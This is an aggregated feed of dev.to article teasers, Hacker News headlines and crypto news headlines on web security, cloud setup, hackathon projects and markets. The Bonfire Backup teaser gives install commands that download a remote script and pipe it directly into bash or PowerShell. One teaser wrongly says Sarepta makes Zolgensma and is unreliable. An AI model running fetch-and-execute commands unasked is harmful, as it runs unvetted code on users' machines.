    When it comes to open source Web Application Firewalls (WAFs), two names often pop up: SafeLine and BunkerWeb. Both are modern, self-hosted WAF solutions, but they take very different approaches to securing web applications. In this article, we’ll break down the key differences, strengths, and ideal use cases for each — so you can make the right choice for your stack. Feature SafeLine BunkerWeb Focus Security-first, rule-based WAF Reverse proxy + security modules Core Engine Built on Nginx + custom detection engine Built on Nginx with modular Lua plugins Deployment Docker, Linux, Kubernetes Docker, Linux, Kubernetes UI/UX Full-featured web dashboard Web UI (less visual analytics) Detection Capabilities Semantic analysis, anti-bot, RCE/XSS/SQLi, HTML+JS encryption OWASP Top 1…  ( 4 min )
    Retrieval Technique Series-6.A Discourse on Design in High-Performance Retrieval Systems
    In an era defined by data, the ability to retrieve information quickly and accurately is no longer a luxury—it's a fundamental requirement. From the search engines that power our curiosity to the e-commerce platforms that recommend our next purchase, high-performance retrieval systems are the invisible engines of our digital world. But what does it take to build a system that can sift through petabytes of data in milliseconds? The answer lies in a set of core architectural philosophies. These are not just technical tricks but foundational principles that ensure scalability, speed, and stability. Let's explore four of the most critical design ideas that underpin modern, high-performance retrieval systems. At its core, a retrieval system works much like a library. To find a book, you don't s…  ( 6 min )
    🔥 Bonfire Backup: Never Lose Your Dark Souls III Progress Again
    Submitted for the Boot.dev Hackathon 2025 🏆 Every Dark Souls III player knows the fear: corrupted save files, accidental deletions, etc... Losing dozens of hours of carefully cultivated character builds and hard-earned progress is a nightmare that haunts the Undead. I built Bonfire Backup, a Dark Souls III save file backup and synchronization tool that uses Git version control to keep your precious save files safe across the void (With the option to use a remote repository). Think of it as your personal Firekeeper for save data protection. 🛡️ Automatic Save Detection - Finds your Dark Souls III saves automatically across Windows and Linux Git-Based Backup - Uses Git version control with remote repository sync Real-time Auto-Sync - File watching with automatic backups when saves change Manual Control - Full backup and restore functionality when you need it Electron + React + TypeScript - Cross-platform desktop application File System Watching - Real-time detection of save file changes using Chokidar Git Integration - Automated version control using simple-git library Auto-Detection - Smart save path discovery for Gaming save data is precious. Unlike other files, saves represent time, effort, and personal achievement that can't easily be recreated. curl -sSL https://raw.githubusercontent.com/mmrmagno/bonfire-backup/main/install.sh | bash irm https://raw.githubusercontent.com/mmrmagno/bonfire-backup/main/install.ps1 | iex Don't own the game? No problem! Create a test save file: echo "test save data" > DS30000.sl2 Then point the app to this file - it works exactly the same way! Building this taught me about: Cross-platform file system differences Real-time file watching patterns Git automation in desktop apps Electron's security model with context isolation ⭐ Check out the code: github.com/mmrmagno/bonfire-backup Praise the Sun! ☀️ Remember: A true Undead never loses hope... or their save files.  ( 4 min )
    How to create a Virtual Machine in Microsoft Azure.
    Microsoft Azure is a cloud platform where you can run virtual computers, store data, build apps, and use AI—without needing physical servers. It's like renting powerful tech tools online to get things done faster and smarter. what is virtual machine? A virtual machine (VM) is like a computer inside your computer. It’s a software-based system that acts like a real physical computer, running its own operating system and apps independently. It operates in an isolated environment, allowing multiple VMs to run on a single physical computer or server while sharing its resources (CPU, memory, storage, etc.). In this guide, we’ll walk you through the steps to create a virtual machine in Azure using the Azure Portal. Go to the Azure Portal. https://portal.azure.com/ Sign in with your Azure crede…  ( 4 min )
    Ultimate developer
    10 Open Source Tools To Become The Ultimate Developer 🔥 Anthony Max ・ Jul 26 #webdev #javascript #programming #opensource  ( 2 min )
    Desvendando o async e await no Python: Guia para Programação Assíncrona Prof. João Cláudio Nunes Carvalho
    Prof. João Cláudio Nunes Carvalho No universo da programação Python, a eficiência e a capacidade de resposta das aplicações são cruciais. Para tarefas que envolvem operações de entrada e saída (I/O), como requisições de rede, acesso a bancos de dados ou leitura e escrita de arquivos, a programação assíncrona surge como uma ferramenta poderosa. No coração dessa abordagem em Python, encontramos as palavras-chave async e await, que permitem a escrita de código concorrente de forma mais limpa e legível. O que é Programação Assíncrona? O Papel do async e await async def: Utilizada para declarar uma função como uma corrotina. Uma corrotina é uma função especial que pode ter sua execução pausada e retomada posteriormente. Ao ser chamada, uma corrotina não executa seu código imediatamente, mas ret…  ( 5 min )
    AI sdk
    A post by 奕火周  ( 2 min )
    C++ vs Java: The Ultimate Speed vs Ease Trade-off Guide for Developers
    The eternal debate between raw performance and development productivity has shaped programming language choices for decades, with C++ representing the pinnacle of speed optimization while Java epitomizes developer-friendly design. This comprehensive analysis explores the fundamental trade-offs between C++ blazing-fast execution and Java's streamlined development experience, helping developers navigate one of the most critical decisions in software engineering. Understanding these trade-offs empowers teams to make informed choices that align with project requirements, team capabilities, and long-term strategic objectives. At the heart of the C++ versus Java debate lies a fundamental tension that has influenced software engineering since the dawn of high-level programming languages. C++ emer…  ( 30 min )
    What is Tearing in React Concurrent Mode
    🚀 Explore More Possibilities with React Hooks? ReactUse.com provides you with well-designed custom Hooks to double your React development efficiency! Before React 18, React always rendered synchronously, meaning that once rendering started, the entire process could not be interrupted. But React 18 introduced concurrent rendering, allowing React to pause and resume during the rendering process to handle higher-priority tasks (like user interactions). Although this mechanism improves the user experience, it also brings a new problem: when React pauses during rendering, the external data source might change, causing different components in the same render to see different data snapshots, leading to a UI tearing phenomenon. Let's first understand the tearing phenomenon through an example: imp…  ( 6 min )
    🔍 ArtExplorer - An Interactive and Inspiring Way to Explore Works of Art
    This is a submission for the Algolia MCP Server Challenge ArtExplorer is an interactive application that uses Algolia's search power to make the Met Museum's art collection more accessible, visual, and enjoyable to explore. The idea is to offer an experience where users can type in themes, artists, or styles (e.g., “Van Gogh”, “nature”, “Japanese painting”) and instantly view relevant works with organized images and metadata. The interface also features: 🔍 Interactive filter with artist autocomplete ⚡️ Instant search powered by Algolia InstantSearch.js Everything was built using HTML, CSS, and vanilla JavaScript, with no frameworks. 🔗 Live Demo GitHub Repository The Algolia MCP Server was used as a real-time search engine to index and query artworks from the Metropolitan Museum of Ar…  ( 4 min )
    Joker Visual Coding IDE Update Log - July 27, 2025
    Dear users, hello! In this version update, we have significantly achieved the integration of data and two access points for the international and domestic versions of Joker. At the same time, we have brought functional upgrades to the portal, workbench, and core underlying systems, aiming to provide you with a better, more efficient, and multi - region - compliant user experience. Separation of Data Languages and Loading Optimization: The Chinese and English data of the portal has been separated, enabling the loading of different content according to the language, meeting the needs of users in different languages. Fix for Team Message Reminder: The problem that team managers did not receive system messages when someone applied to join the team has been resolved, ensuring smooth team commu…  ( 5 min )
    AI-Powered Real Estate Intelligence Platform
    This is a submission for the Algolia MCP Server Challenge I built PropTech AI Platform - an AI-powered real estate intelligence platform that combines property data collection, intelligent search, and AI-driven market insights. The platform uses a custom Algolia MCP implementation built from scratch to demonstrate the power of the Model Context Protocol for real-world applications. Key Features: Automated Property Data Collection: Web scraping with Playwright to gather real estate listings Custom MCP Implementation: Built-from-scratch Algolia MCP server using subprocess architecture Lightning-Fast Search: Algolia-powered property search with sub-second response times AI Market Insights: Amazon Bedrock Nova integration for property analysis and investment recommendations Modern Architectur…  ( 6 min )
    🚀 System Design Interview Vault: 75+ Must-Know Concepts & Scenarios
    🚀 System Design Interview Vault: Concepts, Frameworks & Problems 🧠 Are you prepping for System Design Interviews or looking to level up your architecture skills? I've curated a 🔥 hand-picked collection of must-know concepts, real-world problem statements, and deep-dive breakdowns — all from my most-read Medium series! ✅ 75+ Core System Design Concepts — from scalability to consistency 🛠️ Architecture Blueprints used in real production systems 🔍 Practical Problems like: “System Architecture : Payment Wallet” “System architecture : High Throughput Reads & Writes in Databases” “Repackaging Microservices into Single-Tenant Monoliths” 🧪 Scenario-based questions with trade-off analysis 📈 Best practices and patterns for high availability, caching, partitioning, and more Aspiring and senior software engineers prepping for interviews Architects and backend engineers solving scale problems Bloggers, mentors, and tech influencers in the system design space 🔗 Dive into the Collection: 👉 [Read the Full Collection] https://scalabrix.medium.com/list/system-design-concepts-for-interviews-7b12980141be 🔖 Save it. Share it. Bookmark it. Your System Design Toolbox just got sharper. 💬 Feel free to drop your thoughts, feedback, or follow-up questions in the comments! #systemdesign #interviewprep #softwarearchitecture #scalability #devto  ( 3 min )
    Building an AI Test Simulator for JEE/NEET – Need Help With Pricing and Feedback
    Hey Devs and Builders 👋 I’m working on something close to my heart — an education app for India’s toughest exams: JEE and NEET. We’ve built an AI-powered tool that can: *Generate 100% accurate test questions (no randomness) Let users choose specific topics they want to practice Simulate a full test environment (timer, OMR-style, question switching, etc.) Provide deep analysis after the test, like time spent, weak areas, and detailed solutions It's like having your own personal AI-powered coaching assistant. We’re also building a second tool: A Feynman-style question solver. Upload a physics/math question (even as an image), and it gives a full conceptual breakdown and solution — clear, simple, human-style explanations. **What I Need Help With: 💸 How would you price this? Monthly? One-time payment? Freemium + premium features? 📦 Would coaching centers or schools want a bulk version? 🧪 Would you personally pay for an AI tool that helps you understand, not just answer? If you’re a student, parent, dev, educator, or just someone passionate about education, I’d love your thoughts. Let’s build something that empowers real learning, not just rote performance. Thanks 🙌  ( 3 min )
    Introduction to Windows AI Foundry & MCP on Windows 11
    In May 2025, Microsoft introduced Windows AI Foundry alongside native support for the Model Context Protocol (MCP) on Windows 11. This update allows AI agents to connect with Windows components such as the file system and the Subsystem for Linux (WSL) in a standardized way 1. The feature was announced at Build 2025 and marks a significant step in enabling AI applications to function locally within Windows without complex integrations 23. Windows AI Foundry replaces the earlier Copilot Runtime and provides developer tools for fine-tuning models and running them directly on Windows 11 devices. By integrating MCP at the operating system level, Windows exposes key system functions through a registry of MCP servers. Developers can now build agents that discover these servers and invoke tools li…  ( 4 min )
    🔐 Repackaging Microservices into Single-Tenant Monoliths: The Architecture Behind Scalable, Compliant SaaS
    🧱 Tired of the complexity, latency, and compliance headaches that come with managing a sprawling microservices mesh for your SaaS platform? This deep-dive article explores how leading engineering teams are transforming their architecture by repackaging dozens of services into per-tenant isolated monoliths — all while retaining centralized governance via shared control planes, observability stacks, and policy enforcement layers. We break down how this hybrid model enables 🔒 strong tenant isolation, ⚡ low-latency in-process execution, 🧩 simplified deployments, and 🧠 clean operational boundaries — especially for enterprise and regulated markets. If you're scaling B2B SaaS, thinking multi-region, or just trying to break free from the operational drag of distributed spaghetti, this article is a must-read. Repackaging Microservices into Single-Tenant Monoliths: A Scalable Architecture for Enterprise SaaS | by ScalaBrix | Jul, 2025 | Level Up Coding How Isolated Monolith Deployments with Shared Control and Observability Planes Solve Compliance, Performance, and Multi-Tenant Scalability… levelup.gitconnected.com  ( 3 min )
    CodeConnect: The Ultimate Developer Networking Platform Powered by Algolia MCP Server
    This is a submission for the Algolia MCP Server Challenge CodeConnect is a next-gen developer networking platform built around Algolia MCP Server. It’s designed for effortless exploration—find collaborators, join dream projects, and build the future, all powered by blazing-fast semantic search and smart AI matchmaking. Key features AI/semantic search: Lightning-fast matching of developer profiles & projects with natural, typo-tolerant queries. Smart matchmaking: Instantly join or create projects, filter by stack, interests, or real-world needs. Modern UI: Glassmorphism, animated backgrounds and rich micro-interactions; mobile-first and fully accessible. Serious scale: Multi-section navigation (Home, AI Tools, Discovery, Projects, Communities, Chat, Events, Docs, Analytics, and more). Perso…  ( 4 min )
    Master Python Easily: Top Python Training for Beginners
    Whether you're interested in developing coding skills quickly, Python training is an excellent beginning. Why Python Training Is Perfect for Each Beginner Coder What Makes Python So Popular in the Tech Industry Today? Components Covered in Beginner-Level Python Training Courses Data types and variables in Python If statements, loops, and control flow Functions, arguments, and return values File handling, modules, and error handling You’ll gradually work through practical exercises in every Python training session. Where to Find Quality Python Training Online (Free or Paid) edX: Study the Python language from MIT and Harvard professors online Udemy: Cheap Python training courses with lifetime access and practice exercises freeCodeCamp: Totally free platform that teaches coding with actual P…  ( 6 min )
    Building a Distributed Prime Number Finder: Scalable Sieve Architecture for 1 Billion Integers
    🧮 From Math to Distributed Systems: Scaling Prime Number Computation What if you had to find every prime number up to 1,000,000,000 — but couldn’t use a single machine? This isn’t just a number theory problem anymore. At this scale, it becomes a distributed computing challenge. In this deep-dive, we design a production-grade system that transforms the classic Segmented Sieve of Eratosthenes into a parallel, fault-tolerant, and memory-optimized architecture. 💡 We break down how to slice the number space into stateless computation segments, broadcast base primes efficiently, and distribute work across compute clusters — all while ensuring retry safety, deterministic output, and high throughput. 🖥️ Cloud-Native, Observable, and Battle-Tested This isn’t just a theoretical model. We show how to bring it to life using real-world distributed principles: REST APIs for job submission 🚀, distributed task queues like Kafka/Redis for dispatch 📬, and stateless compute workers running in Kubernetes or Ray 🧠. The final output aggregation is streaming-friendly, memory-safe, and extensible to S3, HDFS, or parquet stores 📦. Whether you're building on Spark, Ray, or just containers and queues, this article gives you an end-to-end reference implementation with code walkthroughs, database schemas, retry logic, and observability patterns via Prometheus/Grafana 📊. If you love distributed system design and want to see algorithm meets architecture — this post is for you. Distributed Prime Number Finder: Scalable Sieve Architecture for 1 Billion Integers | by ScalaBrix | Jul, 2025 | Level Up Coding How to Design a Memory-Efficient, Fault-Tolerant, and Massively Parallel System to Compute Primes in the Billion-Scale Range levelup.gitconnected.com  ( 3 min )
    Innovation at the Edge: Scaling SaaS Platforms for First Responders and Public Schools
    Mission-critical uptime and zero-tolerance failure aren’t just features — they’re business imperatives. Medium Scaling SaaS is one thing. Scaling emergency-response SaaS with school safety and first responder reliability? That’s another league entirely. In enterprise SaaS, downtime hurts the bottom line. In public safety, downtime can cost lives. This article explores the practical and strategic demands of scaling real-time systems like Hērōs™ — from infrastructure reliability and financial sustainability to partnership strategies and operational readiness — all without compromising uptime or mission integrity. Most SaaS platforms rely on cloud redundancy. Public safety platforms require edge redundancy — local data storage and processing for split-second responses when connectivity fai…  ( 4 min )
    How I Beat the LeetCode Grind with Tiny Habits
    ✍️ Inspired by Gayle Laakmann McDowell (Cracking the Coding Interview) 💡 Backed by BJ Fogg’s Tiny Habits Method Many people quit solving LeetCode or CTCI problems after 1–3 weeks. Why? Because the problems are hard, the learning curve is steep, and there are just too many to go through. But what if the solution isn’t grinding harder — it’s starting smaller? That’s exactly what I discovered by combining two powerful ideas: Gayle McDowell’s strategy: Brute-force first, then optimize BJ Fogg’s Tiny Habits method: Build momentum with small wins Here’s the simple system I followed that helped me stay consistent, get faster, and actually enjoy the process. 👣 Solve 1 problem every 1–3 days Take your time. Understand brute force deeply. Build the habit, not speed. Once you complete 15 proble…  ( 4 min )
    Whispers - A Voice Journaling App with Smart Memory Search (Algolia MCP)
    Algolia MCP Server Challenge Submission Whispers - A Contextual Voice Memory System What I Built Whispers is a voice-first journaling application that transforms spoken thoughts into searchable, contextual memories. Users speak naturally into their microphone, and the system captures, processes, and indexes their reflections with semantic understanding. The core innovation is using Algolia MCP Server to power intelligent search that goes beyond keyword matching—it understands context, emotional states, and temporal patterns in your personal narrative. This isn't just a search engine for text. It's a second brain that remembers not just what you said, but when you said it, how you felt, and what patterns emerge across your thoughts over time. 🎥 Video Demo: https://…  ( 6 min )
    Whispers - A Real-Time Voice Journaling Agent Built with AssemblyAI
    This is a submission for the AssemblyAI Voice Agents Challenge Whispers is a voice-first journaling application powered by AssemblyAI's universal-streaming API. It enables users to speak their thoughts in real-time, intelligently formatting their words into reflective, readable journal entries. The app serves as a personal wellness companion—part therapist, part mirror, part coach—helping users capture their daily reflections through natural speech. This project falls under the Real-Time Performance category, demonstrating advanced real-time audio processing with sub-300ms latency for live transcription display. The application showcases how AssemblyAI's universal-streaming technology can create seamless, responsive voice experiences that feel natural and immediate. 🎥 Video Demo: https://…  ( 6 min )
    Synapse
    This is a submission for the Algolia MCP Server Challenge TO BE UPDATED How I Utilized the Algolia MCP Server Key Takeaways  ( 2 min )
    Visual Studio custom project templates
    Introduction Microsoft Visual Studio comes with many standard project templates, which leave developers to configure various aspects of a new project. Learn how to create custom project templates that provide starter code like preloaded NuGet packages, code to set up logging, defined settings for configuration files, and more. Rather than repeat all of Microsoft's documentation, see the following. Create custom project and item templates Create multi-project templates Preparation Before jumping in, have a plan and be consistent across projects. If the plan is to work across various project types, configuration files should have the same structure for connection strings, regardless of how connections might be accessed. Use the same format when implementing logging that writ…  ( 5 min )
    Symbiote
    This is a submission for the AssemblyAI Voice Agents Challenge TO BE UPDATED Demo GitHub Repository Technical Implementation & AssemblyAI Integration  ( 2 min )
    FrontDesk AI
    This is a submission for the AssemblyAI Voice Agents Challenge To be UPLOADED GitHub Repository Technical Implementation & AssemblyAI Integration  ( 2 min )
    LEVERAGING AI TO BETTER PREPARE PROJECT DOCUMENTATION FOR DEVELOPER.
    Image by leo zeng from Pixabay Hi all, Today, I will share on how I make use of AI to better prepare for a project. Given the flexibility nature of a software development project, having an update documentation for a developer is a must. In the age of AI, LLM , machine learning and agentic AI , it is a waste of resources if we did not leverage on AI or in this particular scenario LLM to speed up tedious documentation process. Generally, this is my personal approach that I wanted to use: Due to space constraints, I will focus on documentation parts only. I gather required information for the project. All relevant information is then fed to any LLM to generate documentations. I used Claude and Grok to generate documentations. Sometimes I chained the LLM output and inter-interrogate the …  ( 4 min )
    Getting Started with Tensorflow using Python
    Day 1 — Getting Started with TensorFlow in Python https://medium.com/@achinikechigozie22/by-achinike-chigozie-ed4be8b43812 💬 If you’re learning TensorFlow too — what helped you most in the beginning? Drop your favorite resource or tip below ⬇️ Day1 #TensorFlowSeries #MachineLearning #TensorFlow #Python #DeepLearning #AI #ZTM #100DaysOfCode  ( 3 min )
    Title: Sarepta Therapeutics' Stock Takes a Hit as FDA Pressure Halts Shipments of Gene Therapy
    Title: Sarepta Therapeutics' Stock Takes a Hit as FDA Pressure Halts Shipments of Gene Therapy Introduction: Sarepta Therapeutics, a biopharmaceutical company focused on developing gene therapies for rare genetic diseases, has seen its stock price slip further in premarket trading on Tuesday. The company has announced that it will comply with a request from the Food and Drug Administration (FDA) to halt shipments of its gene therapy, Zolgensma, which is used to treat spinal muscular atrophy (SMA). FDA Pressure: The FDA has been putting pressure on Sarepta Therapeutics to halt shipments of Zolgensma due to concerns over the drug's safety and efficacy. The agency has been conducting a review of the drug's labeling and safety data, and has raised concerns about the potential for adverse rea…  ( 4 min )
    Weekly Tech Discoveries Part - 03
    Welcome to another edition of Weekly Tech Discoveries, where we dive deep into the most innovative tools reshaping the technology landscape. This week's lineup features groundbreaking solutions that are solving real problems for developers, HR professionals, and remote teams worldwide. Trae: The AI Revolution in Code Development Trae isn't just another IDE—it's a glimpse into the future of software development. This intelligent development environment represents a paradigm shift where artificial intelligence becomes your coding partner rather than just a tool. What makes Trae extraordinary is its contextual understanding. Unlike traditional IDEs that offer basic autocomplete, Trae analyzes your entire project architecture to provide meaningful suggestions. It understands not just syntax…  ( 5 min )
    How Does the Python Virtual Environment Work?
    When you start working with Python, one of the first recommendations you’ll hear is to use a “virtual environment.” But what exactly is a Python virtual environment, and how does it work under the hood? Python projects often rely on third-party libraries. If you install packages globally, different projects can end up fighting over package versions. This is called “dependency hell.” For example, Project A might require requests==2.25, while Project B needs requests==2.31. Installing both globally can cause conflicts and break your projects. A virtual environment is an isolated workspace for your Python project. It lets you install packages locally, so each project can have its own dependencies, regardless of what’s installed elsewhere on your system. When you create a virtual environment (…  ( 5 min )
  • Open

    OpenAI's ChatGPT Agent casually clicks through "I am not a robot" verification
    Comments  ( 9 min )
    Tea app leak worsens with second database exposing user chats
    Comments  ( 9 min )
    Living with an Apple Lisa [video]
    Comments
    Show HN: Companies use AI to take your calls. I built AI to make them for you
    Comments  ( 10 min )
    ReproZip – reproducible experiments from command-line executions
    Comments  ( 12 min )
    Playing with more user-friendly methods for multi-factor authentication
    Comments  ( 11 min )
    Structural-Demographic Theory
    Comments  ( 13 min )
    Show HN: Use Their ID – Use Your Local UK MP's ID for the Online Safety Act
    Comments
    The Vatican Observatory Looks to the Heavens
    Comments  ( 168 min )
    The Useless UseCallback
    Comments  ( 10 min )
    Sign in with Google in Chrome
    Comments  ( 1 min )
    LLMs can now identify public figures in images
    Comments  ( 13 min )
    Why not Matrix (2023)
    Comments  ( 7 min )
    Robot hand could harvest blackberries better than humans
    Comments  ( 6 min )
    I designed my own fast game streaming video codec – PyroWave
    Comments  ( 11 min )
    Scientists and engineers craft radio telescope bound for the moon
    Comments  ( 8 min )
    Different Clocks
    Comments  ( 1 min )
    ‘I witnessed war crimes’ in Gaza – former worker at GHF aid site [video]
    Comments  ( 17 min )
    Shrinkle – Shrink words, find hidden phrase
    Comments
    Is SoftBank still backing OpenAI?
    Comments  ( 8 min )
    Claude Code new limits – Important updates to your Max account usage limits
    Comments  ( 5 min )
    Claude Code weekly rate limits
    Comments  ( 5 min )
    Replacing cron jobs with a centralized task scheduler
    Comments  ( 5 min )
    Yes in My Bamako Yard
    Comments  ( 17 min )
    Interstellar Comet 3I/Atlas: What We Know Now
    Comments
    Visa and Mastercard are getting overwhelmed by gamer fury over censorship
    Comments  ( 20 min )
    Windows Directory Structure Synchronizer
    Comments  ( 5 min )
    The Rise of Vibeinsecurity
    Comments  ( 7 min )
    Build a confetti bot with a Raspberry Pi (2023)
    Comments
    NASA faces brain drain as thousands exit under voluntary resignation scheme
    Comments  ( 5 min )
    Six Principles for Production AI Agents
    Comments  ( 13 min )
    I saved a PNG image to a bird
    Comments
    Requesting Funding for 90s.dev
    Comments  ( 1 min )
    Simplify, then add delightness: On designing for children
    Comments  ( 19 min )
    The first 100% effective HIV prevention drug is approved and going global
    Comments  ( 17 min )
    Copyparty, turn almost any device into a file server
    Comments  ( 194 min )
    Tao on "blue team" vs. "red team" LLMs
    Comments
    Following Up on the Python JIT
    Comments  ( 47 min )
    GLM-4.5: Reasoning, Coding, and Agentic Abililties
    Comments  ( 7 min )
    AI Companion Piece
    Comments
    Windows 11 is a minefield of micro-aggressions in the shipping lane of progressl
    Comments  ( 6 min )
    The 1970s psychology experiment behind 'Star Wars' special effects (2023)
    Comments  ( 13 min )
    Face it: you're a crazy person
    Comments  ( 28 min )
    Ferrari Status
    Comments  ( 5 min )
    Ferroelectric helps break transistor limits
    Comments  ( 35 min )
    Sumo – Simulation of Urban MObility
    Comments  ( 2 min )
    ICEBlock app creator Joshua Aaron to speak at HOPE hacker conference next month
    Comments  ( 40 min )
    UK VPN demand soars after debut of Online Safety Act
    Comments  ( 4 min )
    Show HN: I made a tool to generate photomosaics with your pictures
    Comments  ( 8 min )
    Debian isn't waiting for 2038 to blow up, switches to 64-bit time for everything
    Comments  ( 5 min )
    Hierarchical Reasoning Model – 1k training samples SoTA reasoning v/s CoT
    Comments  ( 14 min )
    Generative AI. "Slop Generators, are unsuitable for use [ ]"
    Comments  ( 3 min )
    Hello Sprout
    Comments  ( 7 min )
    How to Make Websites That Will Require Lots of Your Time and Energy
    Comments  ( 1 min )
    The ultimate meeting culture
    Comments  ( 5 min )
    LLM Embeddings Explained: A Visual and Intuitive Guide
    Comments
    SIMD Within a Register: How I Doubled Hash Table Lookup Performance
    Comments  ( 7 min )
    Multiplex: Command-Line Process Mutliplexer
    Comments  ( 16 min )
    Digitising CDs (a.k.a. using your phone as an image scanner)
    Comments  ( 12 min )
    Mistral's new "environmental audit" shows how much AI is hurting the planet
    Comments  ( 8 min )
    "Tivoization" and Your Right to Install Under Copyleft and The GNU GPL
    Comments  ( 19 min )
    Raspberry Pi 5 Gets a MicroSD Express Hat
    Comments  ( 20 min )
    Self-host is just waiting for its iPhone moment
    Comments  ( 2 min )
    VPN use surges in UK as new online safety rules kick in
    Comments  ( 6 min )
    Big agriculture mislead the public about the benefits of biofuels
    Comments  ( 15 min )
    Samsung Removes Bootloader Unlocking with One UI 8
    Comments  ( 34 min )
    New DNA Map of the Pistachio Could Create Better Varieties
    Comments  ( 5 min )
    Why does a fire truck cost $2M dollars?
    Comments  ( 13 min )
    Google failed to warn 10M of Turkey earthquake
    Comments  ( 19 min )
    I made a website that makes you cry
    Comments  ( 3 min )
    Claude Code Router
    Comments  ( 20 min )
  • Open

    Crypto on deck? Interactive Brokers explores stablecoin launch
    Interactive Brokers joins a number of traditional finance institutions who are considering entering the stablecoin space, including JPMorgan Chase and Citigroup.
    Trump’s Truth Social Bitcoin ETF among multiple crypto funds delayed by SEC
    The SEC delayed decisions on the Truth Social Bitcoin ETF and Grayscale’s Solana Trust, extending review periods as the US Congress moves with crypto regulation.
    ETH traders predict lower support retest before breakout to $4K
    ETH treasury buying and consistent spot ETF inflows have not been sufficient enough to send Ether price above $4,000. Is a correction incoming?
    Anti-CBDC bill could curb Fed’s power over digital dollar, sponsor says
    The US House of Representatives will be in recess for the month of August, but the Senate still has a week of business to address two crypto bills before breaking.
    PayPal launches crypto checkout tool, adds support for over 100 tokens
    PayPal is rolling out a new crypto payment tool that will allow US merchants to receive payments with more than 100 cryptocurrencies.
    SOL bears are gone: Here’s what it takes to send Solana to $260
    SOL looks poised for a longer-term rally toward $260, but a few key changes need to happen first.
    Price predictions 7/28: SPX, DXY, BTC, ETH, XRP, BNB, SOL, DOGE, ADA, HYPE
    Data shows Bitcoin is preparing for a sharp breakout from its range-bound action in the next few days.
    How to use cryptocurrency to buy a home in Dubai (legally and safely)
    Dubai now enables crypto property deals under clear VARA rules, with major developers like Damac and Emaar accepting BTC, ETH and stablecoins.
    Tron Inc. seeks $1B to grow TRX holdings as stock rallies
    The former penny stock is riding a 1,300% rally post-merger, as it looks to deepen its crypto treasury strategy with a billion-dollar funding push.
    Cathie Wood's ARK partners with SOL Strategies for staking services
    The move reflects rising institutional appetite for yield-generating crypto exposure, according to SOL Strategies.
    How high can BNB price go? Market analyst predicts $2K cycle top
    BNB Chain’s Maxwell upgrade and over $600 million in institutional accumulation may fuel the next leg up for BNB price toward $1,000 and even higher.
    Ethereum price headed for $4K showdown: Is this time different?
    Ether is showing renewed strength as rising demand, high network activity, and bullish technicals align to support ETH’s push above $4,000.
    Big brands are sleepwalking when it comes to stablecoins
    With Amazon and Walmart exploring stablecoins, institutions may be underestimating potential exposure of customer data on blockchains, posing risks to privacy and brand trust.
    ECB adviser doubts digital euro can match US dollar stablecoins
    The European Central Bank may rely on regulated euro stablecoins and private innovation to counter the dominance of US dollar stablecoins, says adviser Jürgen Schaaf.
    Strategy skipped Bitcoin buys last week amid new equity offering
    Michael Saylor’s Strategy did not purchase any Bitcoin last week, reporting just two acquisitions in July totaling 10,445 BTC, a 39% drop from June.
    Avalanche gains $250M RWA boost with Grove, Janus Henderson funds
    Grove will deploy two Janus Henderson products on the Avalanche blockchain, targeting US Treasurys and collateralized loan obligations.
    Monero ‘economic attack’ receives strong community response
    Monero is facing a controversial, economically powered hashrate takeover attempt by Qubic, a mining pool and crypto network led by Iota co-founder Sergey Ivancheglo.
    Influencer who coined ‘memecoin supercycle’ sits on $68M profit, data suggests
    Murad Mahmudov-labelled wallets from data aggregator DropsTab suggest that the influencer sits on $68 million in memecoin profit.
    Metaplanet adds 780 Bitcoin, now holds 17,132 BTC worth over $2B
    Japanese company Metaplanet cemented its status as the top non-US Bitcoin treasury with a 780 BTC purchase, bringing its total holdings to 17,132 BTC.
    XRP price to $4 next? 'Most profitable phase' likely here, says analyst
    XRP price is up today amid a marketwide recovery, but traders say key support levels must hold to sustain a recovery to new all-time highs.
    Eigen Labs CEO says ‘critical milestone’ slashes scalability trade-off
    Eigen Labs CEO Sreeram Kannan told Cointelegraph that Eigenlayer’s upgrade allows decentralized services to have both Ethereum-grade security and scalability.
    Crypto funds post $1.9B inflows as Ether leads weekly gains
    Although Bitcoin ETPs saw losses against altcoin funds last week, the trend probably implied the anticipation of ETFs rather than a broad altcoin season, CoinShares’ head of research said.
    'Biggest trade deal ever' — 5 things to know in Bitcoin this week
    Bitcoin gets an early macro tailwind as the US seals trade deals, but plenty of BTC price volatility catalysts are waiting in the wings into August.
    Democrats probe housing regulator over considering crypto in mortgages
    A group of Senate Democrats has probed Federal Housing Finance Agency director William Pulte over his order to propose how to consider crypto in mortgage applications.
    SharpLink buys $295M in ETH — more than all the Ether issued last month
    SharpLink’s purchase of 77,210 ETH comes days after the online technology company appointed BlackRock veteran Joseph Chalom as its new co-CEO.
    Solana co-founder calls memecoins, NFTs ‘digital slop’ in heated debate
    Solana co-founder Anatoly Yakovenko ignited criticism from the crypto community by likening memecoins to loot boxes in mobile games.
    CZ’s estimated BNB holdings hit $75B as BNB breaks new highs
    Binance co-founder Changpeng “CZ” Zhao is now worth at least $75 billion after the BNB token hit a new all-time high of $850.70.
    What you share with ChatGPT could be used against you
    OpenAI CEO Sam Altman has expressed concern that ChatGPT conversations lack legal privilege protection and could be subpoenaed in lawsuits.
    Coinbase sues man using a Coinbase-like URL to make money
    Coinbase has sued a man in Germany, accusing him of squatting on a domain with the exchange’s name to try to get the company to overpay for it.
    Roman Storm asks for $1.5M lifeline as Tornado Cash trial presses on
    Tornado Cash co-creator Roman Storm has asked for additional financial support toward his legal defense as the landmark trial enters its third week.
  • Open

    Bakkt Sells Loyalty Business and Pivots to Pure-Play Crypto, Offers Shares
    The technology firm sold its loyalty business for $11 million and announced a public share offering to fund bitcoin purchases.
    Quintenz, Possible Future U.S. Crypto Watchdog, Stymied Again on Step Toward CFTC Job
    Brian Quintenz, Trump's CFTC nominee, has been delayed twice in the vote at the committee that would send his confirmation to the Senate floor.
    Trump Eyes Moving U.S. Economy Further Into Crypto Via Mortgages, 401(k)s
    Democrats continue to object as this week promises more developments in the White House's strategy to get digital assets involved in U.S. economic mainstays.
    SUI Token Drops Nearly 6% After Brief Spike as Stronger U.S. Dollar Pressures Crypto Market
    SUI reversed gains from an overnight rally amid a broader crypto sell-off and rising U.S. Dollar Index.
    BNB Token Rallies to Record High as CEA Industries Raises $500M for Treasury Strategy
    Several listed companies announced plans to create BNB crypto treasuries recently, including CEA Industries (VAPE), teaming up with Binance founder CZ's family office.
    Nasdaq-Listed Upexi Secures $500M Equity Line to Expand Solana Treasury Holdings
    Upexi adds $500 million in flexible capital through a new equity line agreement, giving it more firepower to scale its SOL holdings and staking strategy.
    SEC Delays Decision on Trump-Linked Truth Social Bitcoin ETF Until September
